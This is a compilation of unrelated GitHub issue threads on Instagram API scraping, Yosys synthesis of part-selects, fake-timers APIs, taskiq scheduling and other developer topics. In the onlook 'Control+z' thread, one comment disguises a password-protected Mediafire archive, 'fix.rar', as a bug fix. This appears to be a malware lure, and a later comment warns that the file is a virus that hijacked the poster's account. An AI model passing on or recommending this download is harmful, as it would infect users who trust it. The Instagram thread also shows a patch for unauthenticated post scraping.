media_info2(short_code) endpoint has been limited by instagram

Since 19 May 2020, the endpoint to get information of posts (without authentication) has been banned by instagram. I noticed this issue while using web client without authentication. Actually, the error is:
Expecting value: line 1 column 1 (char 0)

Do you have any solution to get rid of it?

Since 19 May 2020, the endpoint to get information of posts (without authentication) has been banned by instagram. I noticed this issue while using web client without authentication. Actually, the error is:
Expecting value: line 1 column 1 (char 0)

Do you have any solution to get rid of it?

The endpoint url has been chamged, and with some little changes in response data. You should edit instagram_web_api/client.py in method media_info2 as below.
   def media_info2(self, short_code):
        """
        Alternative method to get media info. This method works for carousel media.

        :param short_code: A media's shortcode
        :param kwargs:
        :return:
        """
        headers = {
            'User-Agent': self.user_agent,
            'Accept': '*/*',
            'Accept-Language': 'en-US',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'close',
            'Referer': 'https://www.instagram.com',
            'x-requested-with': 'XMLHttpRequest',
        }
        # info = self._make_request(
        #     'https://www.instagram.com/p/{0!s}/'.format(short_code),
        #     query={'__a': '1', '__b': '1'},
        #     headers=headers)
        endpoint = "https://www.instagram.com/graphql/query/?query_hash=8c1ccd0d1cab582bafc9df9f5983e80d&variables=%7B%22shortcode%22%3A%22{short_code}%22%2C%22child_comment_count%22%3A3%2C%22fetch_comment_count%22%3A40%2C%22parent_comment_count%22%3A24%2C%22has_threaded_comments%22%3Atrue%7D".format(short_code=short_code)
        info = self._make_request(url=endpoint, headers=headers)
        media = info.get('data', {}).get('shortcode_media', {})
        # media = info.get('graphql', {}).get('shortcode_media', {})
        if self.auto_patch:
            media = ClientCompatPatch.media(media, drop_incompat_keys=self.drop_incompat_keys)
        return media

@zahra-ash0uri Thank you.
Your answer was very helpful. And I have a question. I could have used query_hash to get all the images, but is there no limit to query_hash?
For example, you can import all Instagram images with only a certain query_hash, or you have a query_hash call limit.

You're welcome.
As I see, it's a certain query_hash and there is no call limit but if you don't adhere time-sleep in requests, you would get "wait"  error.

@zahra-ash0uri
Yeah, you're right. So I'm adjusting the time-sleep for every request.
Thank you for answer 😄

i'm getting similar error with current_user() endpoint accounts/current_user/
Any clue?


Update wechat to 3.8.0, Modify checkver autoupdate

Update wechat to 3.8.0, Modify checkver autoupdate to the official site
Closes #XXXX

Relates to #XXXX

[x] I have read the Contributing Guide.

The version number in download URL should be kept, so let's wait for upstream.


Downloading the first n seconds

Hi,
Thanks for this great tool.
Is there a way to download the first n seconds from the youtube video?
I'm asking because I'm trying to download chunks of a live stream (e.g. the live stream of CNN on Youtube).
Cheers

https://github.com/nficano/pytube/issues/191 I explain why this can't be done / provide a suggestion to accomplish this


Support tuple type in typedoc generation

If an option of type tuple was defined a FunctionClauseError was raised because NimbleOptions.Docs.get_raw_type_str did not pattern match.

:green_heart: :blue_heart: :purple_heart: :yellow_heart: :heart:


[Bug] Control+z Error

Describe the bug
Control+z doesn't work on Windows. Sometimes control+z doesn't even work when using the UI.
P.S. Awesome work so far!

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Seems like we should be using mod instead of meta for hotkeys
https://react-hotkeys-hook.vercel.app/docs/documentation/useHotkeys/basic-usage#multiple-hotkeys

Should be fixed, please re-open if this issue persists :) @TroyRobinson

Thank you, Kiet!
Troy Robinson
UX & Web Development Consulting
Lionsrock.com
On Tue, Aug 27, 2024 at 11:18 AM Kiet @.***> wrote:

Should be fixed, please re-open if this issue persists :) @TroyRobinson
https://github.com/TroyRobinson
—
Reply to this email directly, view it on GitHub
https://github.com/onlook-dev/onlook/issues/224#issuecomment-2313001393,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AF4AMNWYOB5UA5CT3QOI6GTZTSRGZAVCNFSM6AAAAABNERGDJ6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMJTGAYDCMZZGM
.
You are receiving this because you were mentioned.Message ID:
@.***>

不要下载我前段时间发的文件，那不是我发的，是另一个人控制我，如果你使用了这个病毒文件，你也会被控制，并且疯狂转发这个病毒
Don't download the file I sent some time ago, it wasn't me, but another person controlled me. If you use this virus file, you will also be controlled and forward this virus crazily.


Can't find correct download file

Hi, not sure if I'm just lost but I can't find the correct file to download. I can only find DrumsetPatterns-main which doesn't seem to open to the correct files as described in installation. Help please!

hi eboff, first off, which version of MuseScore are you using? Unfortunately DrumsetPatterns doesn't launch in MuseScore 4.4, and I'm working on a fix for it. It caught me a bit unawares :(
If you're using an earlier version, then all patterns files (*.dp) need to be placed in the same location. Typically this will be under the MuseScore "Plugins" directory, under a directory for the plugin. For example, on mine its
\MuseScore4\Plugins\DrumsetPatterns-1.0

Closing issue as no reponse.


Sub-process Approach for Agent

This is a sub-task of #463.
In working through the agent implementation I figured out that some of the Caddy-based backends really don't want to allow running multiple instances per-process. The caddy.Run() call really expects to only happen a single time per-process.
Also, it might be a little less than ideal to lose all of the running shares in a case where an agent process crashes.
So, let's explore a sub-process based agent approach. Instead of having a single large process to manage all of the agent frontends and backends, let's make the core agent into a sub-process manager.
Spawning processes is relatively easy. There may be challenges around discovering which processes correspond to existing shares, and detecting crashed sub-processes.

The os.Process.Kill() method sends SIGKILL, which cannot be properly caught with a shutdown hook. Need to either post-cleanup in the daemon, or explore sending SIGQUIT and waiting to join.


Validating tokens..is this the right way?

My handler function looks like this. At the beginning of the file..i require'd 'jsonwebtoken'.  I am wondering if this approach is correct. Any advice appreciated.
//------begin--------------------
exports.secretPage = {
handler : function(request, reply) {
var privateKey = Config.key.privateKey;
    if(hoek.contain(request.headers, 'authorization',{once: true}) === false )
        reply(Boom.forbidden("authorization header missing"));

    jwt.verify(request.headers.authorization.split(" ")[1], privateKey, function(err, decoded) {
        if(decoded === undefined) return reply(Boom.forbidden("invalid Token"));
        return reply("Here is your secret page");  //All is well...
    });
}

};
//------------END -------------

Your verify function is duplicating the functionality of this plugin. The plugin looks at the authorization header and validates the jwt token. When the request gets handed off to your handler, the token has already been fully verified.


Is it possible handle the dynamic URL parts

I have SearchController and dynamic urls for this controller which are depending from search filter for example: /cars/bmw, cars/bmw/x6 and so on. I have 16 url parts/parameters like bmw, 'x6', and all this urls would be handle by SearchController.
In addition, I have DetailsController with the a difference id, and URLs are: /cars/bmw/12345fd6789, cars/bmw/x6/12345fd6789, cars/bmw/x6/12345fd6789/red and so on.
Is it possible handle such type URL rules?

Yep. With optional parameters and regular expression matching, you should have all kinds of flexibility to handle such cases. Try it out, and if you get stuck, head over to StackOverflow, where we handle these kinds of questions: http://bit.ly/UIR-SOF -- thanks.

If I create URL's with optional regex, strange issue appears during building URLs with UrlMatcher.prototype.format
For example:
$stateProvider
            .state('details', {
                url: url: '/cars{make:(?:/[^/]+)?}{model:(?:/[^/]+)?}/{id:[0-9a-fA-F]{24}}{postcode:(?:/postcode\\-\\w+)?}{distance:(?:/\\d+miles)?}{minprice:(?:/min\\-\\d+)?}{maxprice:(?:/max\\-\\d+)?},
                templateUrl: 'scripts/angular/app/controllers/details/partials/index.html',
                controller: 'DetailsCtrl'
            })

cases:
ui-sref="details({id:'123564879'})" - > /cars/123564879
ui-sref="details({id:'123564879'},make:'bmw')" - > /cars/123564879bmw
ui-sref="details({id:'123564879'},make:'/bmw')" - > /cars/123564879%252Fbmw
as you can see URL parts cannot splitted by /


Correct work iterable processors with non-exists fields + Fix psalm errors

Q
A

Is bugfix?
✔

New feature?
❌

Breaks BC?
❌

Fixed issues
#28

👍


USB camera

I really like the idea of your cross-platform streaming solution, but haven't been able to get it to work yet. When I run server.py I get the error that says "Camera is not enabled", but I think that's because I'm not using the Pi camera (I'm using a Microsoft USB webcam) which is incompatible with the picamera python module.
Is there any way to get this to work with a USB webcam?

Duplicate of #7


New missing APIs

There are a few things missing in fake-timers we need to add for Node 17 and for new browser APIs namely:

We're missing mocking of timers/promises and scheduler.wait (in timers/promises)
We're missing Symbol.toPrimitive on Node timers (right?)
We're missing scheduler.postTask with a delay

None of these new APIs are particularly hard to mock but I haven't had a chance to look at them yet.

I think point two is done. At least I think I had something to do with it:
$ ag -A10 toPrimitive
src/fake-timers-src.js
599:                [Symbol.toPrimitive]: function () {
600-                    return timer.id;
601-                },
602-            };
603-            return res;

What is point one about? Like some example code would help my feeble mind.

import {setTimeout} from 'timers/promise'

not sure if it's possible to mock? unless it's also available somewhere globally so we can replace it

That was new. Thanks.

Seems posible @SimenB
➜  node git:(master) node
Welcome to Node.js v16.10.0.
Type ".help" for more information.
> let orig = require('timers/promises').setTimeout;
undefined
> require('timers/promises').setTimeout = function (fn) { fn(); }
[Function (anonymous)]
> require('timers/promises').setTimeout(() => console.log('foo'), 10000); // logs immediately
foo
undefined

(Of course, it should return a promise and probably just reuse the util.promisify version - this is just to show it's mockable)

ESM as well? But that's promising? 😃

Not having timers/promises is becoming more and more of a nuance as Node.js 18 went to LTS October 2022, meaning more and more try to use it. Especially problematic in Jest where we now are resorted to using callback-based setTimeout() etc. when the other ones are nicer to read and use.

@thernstig Want to have a go? That's the best chance of finding something to scratch your itch. We accept PRs quite gladly 👍

@itayperry wanna take a stab at it? I won't have time to take a look in the next ±2 months probably due to travel/life.

Hi @benjamingr, It looks very interesting, and I'd like to try and help. I know you said it's supposed to be easy, but it seems hard.
It'd be great if you told me where to start 🚀 what's the first thing I should mock? Maybe we can even break it into very small tasks :) and then I could do a few small PRs. In that case, if I get stuck someone else could continue from where I stopped (last issue I had took me too long cause it was a bit tricky).
I'll give it a shot ⚡

Also missing AbortSignal.timeout

@itayperry Would be great if you had a stab, and Ben already split these into smaller chunks. I would start with the bottom one in the list, then work my way up. AbortSignal.timeout is also a small and probably doable task that one could start with.

@fatso83 sounds great 😊
I'll start with AbortSignal.timeout then :)

Hi @fatso83 and @benjamingr, I've been reading about AbortSignal.timeout() static method and I'm not sure how to fake it.
The thing is, AbortSignal.timeout() is very different from other timers:

It does not return an id (but an AbortSignal), for example:

let x = AbortSignal.timeout(10_000);

would first be:

but after 10 seconds it would become:

It does not have a callback, just a value of time (number).
It cannot (or doesn't-need-to) be cleared.

Plus, even if this timer was faked, how could we test it? It seems like we need a real fetch that uses a real URL to test it.
Do you have any idea how I can approach this? I'd love some advice :)
A small insignificant note:
I tried using it with Google Chrome and seems to respond with AbortError instead of TimeoutError, and there's an open bug about it: https://bugs.chromium.org/p/chromium/issues/detail?id=1431720&q=1431720&can=2

I'm not familiar with how sinon fake timers is implemented but when I need
to mock AbortController.timeout() I'll use
timeout(n) {
  const controller = new AbortController()
  setTimeout(() => controller.abort(), n).unref()
  return controller.signal()
}

Then I can use fake timers and timeout will work as expected.
Testing should not require fetch - you can assert that signal .aborted is
true after the timer expires
On Sat, May 20, 2023, 12:54 PM Itay @.***> wrote:

Hi @fatso83 https://github.com/fatso83 and @benjamingr
https://github.com/benjamingr, I've been reading about
AbortSignal.timeout() static method and I'm not sure how to fake it.
The thing is, AbortSignal.timeout() is very different from other timers:

It does not return an id (but an AbortSignal), for example:

let x = AbortSignal.timeout(10_000);
would first be:
[image: image]
https://user-images.githubusercontent.com/37377389/239706213-1581b1b4-b432-4427-a8d2-fc01d2c142ca.png
but after 10 seconds it would become:
[image: image]
https://user-images.githubusercontent.com/37377389/239706757-97f8ab5b-6d45-4c91-a801-e409da2ea9a6.png

It does not have a callback, just a value of time (number).
It cannot (or doesn't-need-to) be cleared.

Plus, even if this timer was faked, how could we test it? It seems like we
need a real fetch that uses a real URL to test it.
Do you have any idea how I can approach this? I'd love some advice :)
A small insignificant note:
I tried using it with Google Chrome and seems to respond with AbortError
instead of TimeoutError, and there's an open bug about it:
https://bugs.chromium.org/p/chromium/issues/detail?id=1431720&q=1431720&can=2
—
Reply to this email directly, view it on GitHub
https://github.com/sinonjs/fake-timers/issues/418#issuecomment-1555982189,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAE6WM26LF4U77RA36MQZ3DXHEONRANCNFSM5NASE6KQ
.
You are receiving this because you commented.Message ID:
@.***>

Seems like a fair issue to unstale.

Since the first two points are done (timers/promises was added in #495), I'll just rename the issue to Scheduler#postTask. I had never looked into this before, but it seems very pertinent to add.


correctly handle empty lists

before this commit it was throwing an error:
{error,
   {index_for_non_list,{1,[]}},
   [{ej,get_value,2,[{file,"src/ej.erl"},{line,157}]}

Any chance for this to be merged?


Security - Unreleased Resource

The function LineNumbers() in LineNumbers.java sometimes fails to release a system resource allocated by getResourceAsStream().
This may cause 2 bad impacts:

General software reliability problems
If an attacker can intentionally trigger a resource leak, the attacker may be able to launch a denial of
service attack by depleting the resource pool.

Fixed by https://github.com/google/guice/commit/301251b924cdee3fd3f0d05b76c8ff78c8f0d410, thanks for reporting.


Use native rust support for async traits

With the new support for async traits in rust from version 1.75, it's possible to define async traits without the help of async_trait macro from the crate async_trait.
In this PR:

Dependency on the crate asnyc_trait has been removed and the native support from rust is used instead.
Default implementation is used for methods that have the same implementation among different structs

It seems that github actions still don't support rust version 1.75


part-selects ($shift, $shiftx) create huge MUX-trees

Version
Yosys 0.28 (git sha1 0d6f4b068, gcc 11.2.0 -fPIC -Os)
On which OS did this happen?
Linux
Reproduction Steps
shift_issue.zip
make all

Then check the reports in output and compare them.
Expected Behavior
The two modules should be about the same size after synthesis as they do the same thing.
Actual Behavior
The module using part-select is about twice as large as the other one.

Background
During synthesis of our (soon-to-be) open-source SoC Iguana, we noticed that indexed part-selects like array[i*33+:33] leads to a very large number of muxes during techmap.
A large amount of them get optimized away later on but:

During techmap the ballooned number of mux cells increases the memory footprint substantially
Not all of them get optimized away, increasing the total cell area significantly

In the worst modules this leads to a roughly 4x-ish larger module than what we would expect.
Example
Attached I have a rather simple example resulting from converting the register-interface demux module using sv2v.
The verilog file has two modules, they should be identical in function but in one I replaced the problematic part-select with another construct.
The original module has a roughly 2x larger area than the manually rewritten one.
(it should be noted that a normal invocation of techmap would produce even worse results but the way techmap is called right now aids in seeing the problem).
To generate the netlists and reports to see the problem, run:
make all

Per default this will download the IHP13-PDK, you may change the used .lib to any other, it should not matter.
What we think happens
As far as we can tell the problem seems to be an inherent problem of how $shift and $shiftx work. They work with a generic shift amount, by which the data can be shifted, it essentially looses the information about how the parts in a part-select are grouped.
Together with their implementation in techmap.v, using a logarithmic barrel shifter, seems to result in yosys building large mux trees and then failing to optimize them completely later on.
So in an expression like array[i*33+:33], I know that always 33 bit belong together and any other shift value than a multiple of 33 is impossible.
This information seems to be lost and it just shifts by a generic amount, implemented using log-shifters.
For POW2 grouped data (or to be more specific, if the set-bits are compact), this is not an issue as a lot of bits will be constant over all possible indices . For example for array[j*32+:32] the optimization steps will later see that bits 0-4 of j*32 (the shift amount) will always be constant and the corresponding log-shifter stages are also constant and can be replaced by wiring.
However, if we have something like array[i*33+:33] this optimization is no longer possible. Since the LSB of the multiplier is set, any of the following bits could change depending on the value of i. This means no log-shifter stages can be removed and we generate a significant overhead, as we use a much more powerful operation (a generic shift) to implement the part selection.
The provided example should show that during techmap of $shiftx and $shift a large amount of mux cells are created, some of them get optimized away but not all of them, leading to a significant area-overhead.
Possible Solutions
I think the cleanest solution would be to have a dedicated $select (or whatever it will be called) construct that represents a selection of a group of bits from an array of groups, this would explicitly implement this concept.
This would give a significant amount of flexibility how it will be mapped later on and for different targets.
Though it seems $mux is already multibit capable and it might be possible to use it instead to represent a part-select.
This would likely be a simpler fix but might create other problems for different targets.

For writes, it could be possible to expand on the work I did earlier to optimize access to multirange packed arrays (within structs).
This takes the relevant bit stride into account when generating the CASE block requested via the (* nowrshmsk *) attribute. This CASE block is a substitute for $shift/$shiftx.
I actually also experimented with a similar optimization for reads, using a new attribute (* nordshift *). In my case, this didn't yield any resource savings, however it is not impossible that an expanded version of this could be beneficial in your case. I have rebased the branch for this in case it could be helpful: https://github.com/daglem/yosys/tree/nordshift

However, if we have something like array[i*33+:33] this optimization is no longer possible. Since the LSB of the multiplier is set, any of the following bits could change depending on the value of i. This means no log-shifter stages can be removed and we generate a significant overhead, as we use a much more powerful operation (a generic shift) to implement the part selection.

There's a shiftmul rule in the peepopt pass that is supposed to address exactly that. When it sees a shift driven by a mul that effectively work as a group select, the rule will round up the shift stride to the next power-of-2 and rearrange the input to the shift appropriately, so that those optimizations you describe can take place. It only matches on right shifts, so it will only optimize part-selects working as muxes, not the demux you have in your sample as well.
The reason why that rule doesn't fire off in your case seems to be due an earlier opt_expr pass replacing the bottom bit of the multiplication result with zero since 34 is even, and this way it interferes with the detection in peepopt. (Both opt_expr and peepopt are called by the coarse block in synth).

I think the cleanest solution would be to have a dedicated $select (or whatever it will be called) construct that represents a selection of a group of bits from an array of groups, this would explicitly implement this concept.
This would give a significant amount of flexibility how it will be mapped later on and for different targets.

FWIW there's the $bmux cell which I think is exactly that. Maybe that's what the part-select in your sample would synthesize to through the Verific frontend? Who knows.

For writes, it could be possible to expand on the work I did earlier to optimize access to multirange packed arrays (within structs). This takes the relevant bit stride into account when generating the CASE block requested via the (* nowrshmsk *) attribute. This CASE block is a substitute for $shift/$shiftx.

You could actually try out (* nowrshmsk *) without making any changes. Even though this is currently not ideal in that it will create an enourmous CASE, it could just be that this will be properly optimized.
I.e. (* nowrshmsk *) output reg [(NoPorts * 117) - 1:0] out_req_o;

@phsauter No worries! See #3873

Quality-of-Results seems to be a lot better, not quite as good as my manual fix but pretty close to it. What worries me is that CPU time increases to 18x and memory footprint to 10x of the initial run. Since our memory footprint without a fix is already >300GB, I don't see us running this on the large modules. Still, it shows that the general approach of replacing $shift/$shiftx cells is a good one and I can likely use it to get better estimates for the expected QoR with a fix.

You could test something like this, still without changing anything in Yosys:
	typedef struct packed {
	    logic [NoPorts][117] port;
	} out_req_t;
	...
	(* nowrshmsk *) output out_req_t out_req_o;
	...
		out_req_o.port[in_select_i] = in_req_i;

Unfortunately packed multirange arrays are currently only available within packed structs in Yosys - otherwise this code could be further simplified.

You could test something like this, still without changing anything in Yosys ...

Maybe I am still doing it wrong but if I do that, it just reduces everything to one single out_req_o wire instead of it being a 117bit 1:13 demultiplexer.

You could test something like this, still without changing anything in Yosys ...

Maybe I am still doing it wrong but if I do that, it just reduces everything to one single out_req_o wire instead of it being a 117bit 1:13 demultiplexer.

Doesn't this wire have wiretype out_req_t? It looks plausible to me when I run yosys -p 'read_verilog -sv -dump_ast2 reg_demux.v' - the output contains an AST_CASE and the appropriate number of AST_COND. Here is the complete modified module for reference:
module reg_demux (
	clk_i,
	rst_ni,
	in_select_i,
	in_req_i,
	in_rsp_o,
	out_req_o,
	out_rsp_i
);
	parameter [31:0] NoPorts = 32'd13;
	typedef struct packed {
	    logic [NoPorts][117] port;
	} out_req_t;
	input wire clk_i;
	input wire rst_ni;
	input wire [3:0] in_select_i;
	input wire [116:0] in_req_i;
	output reg [33:0] in_rsp_o;
//	output reg [(NoPorts * 117) - 1:0] out_req_o;
	(* nowrshmsk *) output out_req_t out_req_o;
	input wire [(NoPorts * 34) - 1:0] out_rsp_i;
	always @(*) begin
		out_req_o = 1'sb0;
		in_rsp_o = 1'sb0;

//		out_req_o[in_select_i * 117+:117] = in_req_i;
		out_req_o.port[in_select_i] = in_req_i;
		in_rsp_o = out_rsp_i[in_select_i * 34+:34];
	end
endmodule

In the final netlist I am getting:
  (* wiretype = "\\out_req_t" *)
  output out_req_o;
  wire out_req_o;

It notes the wiretype but the size is still only one bit. Is there some additional command I need to run after read_verilog?

Heh, sorry, I have no idea what is going on there. Could the netlist be wrong (do you use it for anything later)?
Hopefully someone else can explain.

You could test something like this, still without changing anything in Yosys:

A synthesizer should be able to handle any code construct efficiently, including the ones mentioned in the issue above. Having to engineer sourcecode and adding pragmas to obtain good results is a non-sustainable solution.

In the final netlist I am getting:
  (* wiretype = "\\out_req_t" *)
  output out_req_o;
  wire out_req_o;

It notes the wiretype but the size is still only one bit. Is there some additional command I need to run after read_verilog?

Evidently I've been on vacation for too long. Change the typedef to this, and things should hopefully start working:
	typedef struct packed {
	    logic [NoPorts-1:0][117-1:0] port;
	} out_req_t;

Sadly if I do this I now get the AST_CASE and AST_COND as I would expect but they only seem to checks whether in_select_i is equal to zero. Meaning it probably doesn't like multi-dimensional packed arrays.

I'm using (* nowrshmsk *) for multidimensional arrays in https://github.com/daglem/reDIP-SID to good effect, so it should work. I don't see anything wrong in the AST offhand - e.g. the output of yosys -p 'read_verilog -sv -dump_vlog2 reg_demux.v' looks like this:
...
          case ((in_select_i)*(117))
            0:
              (* wiretype = /** AST_STRUCT_ITEM **/ *)out_req_o[1520:0][116:0] = in_req_i;
            117:
              (* wiretype = /** AST_STRUCT_ITEM **/ *)out_req_o[1520:0][233:117] = in_req_i;
            234:
              (* wiretype = /** AST_STRUCT_ITEM **/ *)out_req_o[1520:0][350:234] = in_req_i;
...

If I change it to:
typedef struct packed {
	    logic [117-1:0] port[NoPorts-1:0];
	} out_req_t;

This then does actually give me the correct AST and initial RTLIL (even though it is kinda scary since now it isn't packed anymore). But then somewhere inside synth -run begin:fine (ie in coarse synthesis) it converts it back to a shift.

Well, unpacked arrays within packed structs are not allowed by the LRM (it's a Yosys extension which should probably be removed), so I wouldn't use that in any case.

The peepopt shiftmul approach looks pretty promising though so unless you are curious, I don't think its necessary to debug the nowrshmsk approach.

I'd actually be very interested in having nowrshmsk work in your case, comparing it to the shift approach. Could you please have another look, and show how you get an incorrect AST?

PR #3875 gets rid of the multiplication by 117 in the (* nowrshmsk *) AST_CASE generated from reg_demux.v.

I reworked #3875 so that the optimizations for two-dimensional packed ranges also covers variable slices on the form dst[i*w +: w] = src, i.e. you should only have to make the following change to generate an optimized AST:
(* nowrshmsk *) output reg [(NoPorts * 117) - 1:0] out_req_o;

Does this work for you?

This weekend I don‘t have access to a computer, I will try it out on monday.

This weekend I don‘t have access to a computer, I will try it out on monday.

Please do! I also made PR #3877 so that indexing of rvalues can be similarily optimized as well.
After adding both #3875 and #3877, you can do:
        (* nowrshmsk *) output reg [(NoPorts * 117) - 1:0] out_req_o;
        (* nordshift *) input wire [(NoPorts * 34) - 1:0] out_rsp_i;

But you should be able to check as well by downloading the zip file and running make all and then checking the RTLIL/netlist.

I'll have to leave it to you to check for correctness - perhaps the result is too good to be true?
$ cat output/*.rpt | grep "Chip area"
   Chip area for module '\reg_demux_noshift': 21636.720000
   Chip area for module '\reg_demux_pow2': 37214.742600
   Chip area for module '\reg_demux': 74589.114600

Sadly if I do this I now get the AST_CASE and AST_COND as I would expect but they only seem to checks whether in_select_i is equal to zero. Meaning it probably doesn't like multi-dimensional packed arrays.

Okay this issue was fixed by using a newer version of yosys (before it was 0.27 or 0.28, can't remember).
This gives me a correct solution with 32'700um^2 compared to the 37'200um^2 of the pow2 solution. This is roughly what I would expect, even a bit better.
If I apply your PRs and use:
module reg_demux_nowrshmsk_mdim_arr
// ...
(* nowrshmsk *) output reg [(NoPorts * 117) - 1:0] out_req_o;
// ...

This results in an area of 50'000um^2, though for some reason now even the basic version is slightly worse (above 66k).
Same result for the typedef solution, a significant increase compared to the version without the PRs.
using:
module reg_demux_noshift
// ...
(* nowrshmsk *) output reg [(NoPorts * 117) - 1:0] out_req_o;
(* nordshift *) input wire [(NoPorts * 34) - 1:0] out_rsp_i;
// ...

I also get 19k, this is both in-line with expectations from our commercial tools and it is also functionally equivalent, meaning this is a significant improvement over other solutions and should be seen as the gold standard.
Maybe we should move the following discussion over to #3875:
If I apply both PRs I get a base of 66k, with just PR #3875 its even higher at 75k and both the typedef and strided-array access are lower at 50k but only compared to this worse base, compared to typedef and yosys 0.32 which achieves 32k this is too high.
So I think there may be some bug in this PR.
TL;DR: Using both attributes generates fantastic results, PR #3875 diminishes the results from nowrshmsk alone, my issue was likely an old yosys version.

Applying both #3875 and #3877 should now yield something like this:
   Chip area for module '\reg_demux_noshift': 18548.573400
   Chip area for module '\reg_demux_nowrshmsk_mdim_arr': 37543.224600
   Chip area for module '\reg_demux_nowrshmsk_typedef': 37543.224600
   Chip area for module '\reg_demux_pow2': 37214.742600
   Chip area for module '\reg_demux': 71352.640800

Later optimization passes can yield different results depending on unrelated changes in the input file (and the phase of the moon, for all I know), so results will vary somewhat.
I've disabled the removal of multiplication for (* nowrshmsk *), since this for some reason only seemed to yield good results when combined with (* nordshift *).


picturefill and retina

How can I use picturefill to serve retina images?
Currently I'm using the version 2, my HTML code is:
<img src="http://placehold.it/300x150" srcset="http://placehold.it/600x300 2x" alt="Alternative" />

The problem is: in all browsers, except Chrome, are getting the "2x" version, but my screen doesn't support retina.
I think Chrome is working because this feature was recently implemented.
What am I doing wrong?

Any news on this?
Related: The readme https://github.com/scottjehl/picturefill recommends to not use the src attribute on the img tag. Also considering the previous comments on this page, is this recommended?
<img<EMAIL_ADDRESS>1x<EMAIL_ADDRESS>2x"/>


Edit step counter for searches

The counter for the total and current steps includes an extra step that should be removed. Specifically, the extra step occurs upon finding the search value.
For example, given the array [3, 6, 10, 12, 14, ...], a search value of 6, and using linear search, there are currently 3 total steps which include

Checking index 0
Checking index 1
Element found at index 1

which means that there are 3 total steps and element 1 will be highlighted yellow at step 2, then highlighted green at step 3.
Ideally, there should be 2 total steps:

Checking index 0
Checking index 1 and found element

where the old step 2 should be removed and element 1 should immediately be highlighted green when processed.

I would disagree with this design approach because you can't find the element in one of the slots of an array without checking it first. Better to split it apart that merge it to avoid confusion.


New package: Meitu.ColorByte.Pro version 6.11.0

Created by 🥟 Dumplings.
Microsoft Reviewers: Open in CodeFlow

Verify:


Pass res through to callback when reqeusts have a non 200 response

We log out requests that we make to GitHub. Currently if the request has a non 200 response, we do not have a handle to the response object. Ironically, it is in that case that we most care about having it.

Headers are included in the failure case if that helps: https://github.com/kaizensoze/node-github/pull/93/files (merged into this repo)

That isn't enough for us. We actually need the res body to see the error message. I updated my PR to get rid of the merge conflict.

I'm actually going to close this PR an reopen it from a different head branch. I'll link back to it.

New PR open here: https://github.com/mikedeboer/node-github/pull/347


Queries on ClickHouse external tables with special table names fail

Describe what's wrong

Reported by a community user, and I quoted here:

Hello everyone, I was testing proton with a clickhouse external table but I am unable to properly escape some characters in the table name
I have a clickhouse table like this: prefix_{UUID}
for example: prefix_481a213-0186-460a-98f5-60a954bc0712
Normally I am able to query this table from clickhouse like db.tablename``
I am however unable to query this table as an external table from proton.
My external table definition looks like this
CREATE EXTERNAL TABLE test SETTINGS type='clickhouse',address='addr',user='admin',password='pass',secure=false,table='prefix_0481a213-0186-460a-98f5-60a954bc0712',database='db';
I can however run describe on it with success: describe test
It seems that I need to do something to escape - character in the table name but I was not able to figure out a solution.

How to reproduce
Error message and/or stacktrace

Additional context

(Jove Github Bot) added it to the current sprint.


CSUB-389: Improve weights and benchmark search script

Description of proposed changes:
Practical tips for PR review & merge:

[ ] All GitHub Actions report PASS
[ ] Newly added code/functions have unit tests

[ ] Coverage tools report all newly added lines as covered
[ ] The positive scenario is exercised
[ ] Negative scenarios are exercised, e.g. assert on all possible errors
[ ] Assert on events triggered if applicable
[ ] Assert on changes made to storage if applicable

[ ] Modified behavior/functions - try to make sure above test items are covered
[ ] Integration tests are added if applicable/needed

Codecov Report

Merging #965 (6fab669) into dev (f7182f5) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##              dev     #965   +/-   ##
=======================================
  Coverage   77.63%   77.63%
=======================================
  Files          75       75
  Lines       11387    11387
=======================================
  Hits         8840     8840
  Misses       2547     2547

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Deinstallation of graphviz fails

brew cask uninstall graphviz
==> Running uninstall process for graphviz; your password may be necessary
==> Removing files from pkgutil Bill-of-Materials
==> rmdir: /usr/local/include/graphviz: Not a directory
Error: Command failed to execute!

==> Failed command:
["/usr/bin/sudo", "-E", "--", "/bin/rmdir", "--", "#<Pathname:/usr/local/include/graphviz>"]

==> Output of failed command:

==> Exit status of failed command:
#<Process::Status: pid 70281 exit 1>

Can’t reproduce (using a clean VM). Can any @caskroom/maintainers?

Could not reproduce locally either. @adius does that dir have any files in it on your machine?

Also can't reproduce. Uninstallation process works fine for me.

@phinze The directory is empty … if it even is one:
adrians-mac:~$ file /usr/local/include/graphviz
/usr/local/include/graphviz: directory
adrians-mac:~$ rmdir /usr/local/include/graphviz
rmdir: /usr/local/include/graphviz: Not a directory

wtf? =D

Seems like an error in your configuration, then, and seeing as we can’t reproduce, we can’t help with a fix. Closing.

Yeah, no idea what was wrong. I just deleted /usr/local/include/graphviz  and then I was able to run uninstall.


taskiq scheduler issue: same task gets scheduled so many times

This is the output of the taskiq scheduler:

taskiq-worker-1     | [2024-07-20 21:13:00,640][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,648][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,674][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,688][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,695][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,706][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,713][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,720][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,729][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.
taskiq-worker-1     | [2024-07-20 21:13:00,741][taskiq.process-manager][INFO   ][MainProcess] Scheduled workers reload.

my code setup:

result_backend = RedisAsyncResultBackend(  # type: ignore
    redis_url=str(settings.redis_url.with_path("/0")),
)
broker = ListQueueBroker(
